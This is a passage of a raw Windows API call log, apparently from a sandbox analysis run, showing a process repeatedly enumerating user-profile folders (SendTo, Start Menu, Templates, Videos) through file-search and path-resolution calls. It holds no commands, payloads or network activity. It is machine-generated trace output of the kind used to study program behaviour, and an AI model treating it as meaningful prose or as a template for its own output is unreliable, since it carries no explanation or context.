HALPmcxz\\SendTo", lpFilePart=0x0) returned 0x24 [0080.473] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", lpFilePart=0x0) returned 0x24 [0080.473] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", lpFilePart=0x0) returned 0x24 [0080.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e960) returned 1 [0080.473] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", lpFilePart=0x0) returned 0x24 [0080.473] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\", lpFilePart=0x0) returned 0x25 [0080.473] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x1ca2e600 | out: lpFindFileData=0x1ca2e600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0080.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e890) returned 1 [0080.476] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0080.476] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", lpFilePart=0x0) returned 0x28 [0080.477] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", lpFilePart=0x0) returned 0x28 [0080.477] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", lpFilePart=0x0) returned 0x28 [0080.477] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", lpFilePart=0x0) returned 0x28 [0080.477] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", lpFilePart=0x0) returned 0x28 [0080.477] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", lpFilePart=0x0) returned 0x28 [0080.477] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", lpFilePart=0x0) returned 0x28 [0080.477] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", lpFilePart=0x0) returned 0x28 [0080.477] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", lpFilePart=0x0) returned 0x28 [0080.477] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", lpFilePart=0x0) returned 0x28 [0080.477] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", lpFilePart=0x0) returned 0x28 [0080.477] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", lpFilePart=0x0) returned 0x28 [0080.477] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", lpFilePart=0x0) returned 0x28 [0080.477] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", lpFilePart=0x0) returned 0x28 [0080.477] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", lpFilePart=0x0) returned 0x28 [0080.477] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", lpFilePart=0x0) returned 0x28 [0080.477] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", lpFilePart=0x0) returned 0x28 [0080.477] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", lpFilePart=0x0) returned 0x28 [0080.478] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", lpFilePart=0x0) returned 0x28 [0080.478] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", lpFilePart=0x0) returned 0x28 [0080.478] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", lpFilePart=0x0) returned 0x28 [0080.478] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", lpFilePart=0x0) returned 0x28 [0080.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e960) returned 1 [0080.478] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", lpFilePart=0x0) returned 0x28 [0080.478] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\", lpFilePart=0x0) returned 0x29 [0080.478] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x1ca2e600 | out: lpFindFileData=0x1ca2e600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0080.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e890) returned 1 [0080.481] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0080.481] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", lpFilePart=0x0) returned 0x27 [0080.482] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", lpFilePart=0x0) returned 0x27 [0080.482] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", lpFilePart=0x0) returned 0x27 [0080.482] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", lpFilePart=0x0) returned 0x27 [0080.482] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", lpFilePart=0x0) returned 0x27 [0080.482] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", lpFilePart=0x0) returned 0x27 [0080.482] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", lpFilePart=0x0) returned 0x27 [0080.482] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", lpFilePart=0x0) returned 0x27 [0080.482] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", lpFilePart=0x0) returned 0x27 [0080.482] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", lpFilePart=0x0) returned 0x27 [0080.482] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", lpFilePart=0x0) returned 0x27 [0080.482] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", lpFilePart=0x0) returned 0x27 [0080.482] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", lpFilePart=0x0) returned 0x27 [0080.482] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", lpFilePart=0x0) returned 0x27 [0080.482] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", lpFilePart=0x0) returned 0x27 [0080.483] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", lpFilePart=0x0) returned 0x27 [0080.483] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", lpFilePart=0x0) returned 0x27 [0080.483] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", lpFilePart=0x0) returned 0x27 [0080.483] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", lpFilePart=0x0) returned 0x27 [0080.483] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", lpFilePart=0x0) returned 0x27 [0080.483] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", lpFilePart=0x0) returned 0x27 [0080.483] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", lpFilePart=0x0) returned 0x27 [0080.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e960) returned 1 [0080.483] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", lpFilePart=0x0) returned 0x27 [0080.483] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\", lpFilePart=0x0) returned 0x28 [0080.483] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x1ca2e600 | out: lpFindFileData=0x1ca2e600*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0080.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e890) returned 1 [0080.488] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9d72620, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9d72620, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0080.488] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24 [0080.488] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24 [0080.488] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24 [0080.489] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24 [0080.489] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24 [0080.489] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24 [0080.489] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24 [0080.489] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24 [0080.489] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24 [0080.489] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24 [0080.489] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24 [0080.489] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24 [0080.489] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24 [0080.489] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24 [0080.489] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24 [0080.489] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24 [0080.489] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24 [0080.490] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24 [0080.490] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24 [0080.490] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24 [0080.490] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24 [0080.490] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24 [0080.490] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e960) returned 1 [0080.490] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24 [0080.490] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\", lpFilePart=0x0) returned 0x25 [0080.490] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x1ca2e600 | out: lpFindFileData=0x1ca2e600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9d72620, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9d72620, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578ea0 [0080.491] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9d72620, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9d72620, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.491] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b58b0a0, ftCreationTime.dwHighDateTime=0x1d5d829, ftLastAccessTime.dwLowDateTime=0xd90aff00, 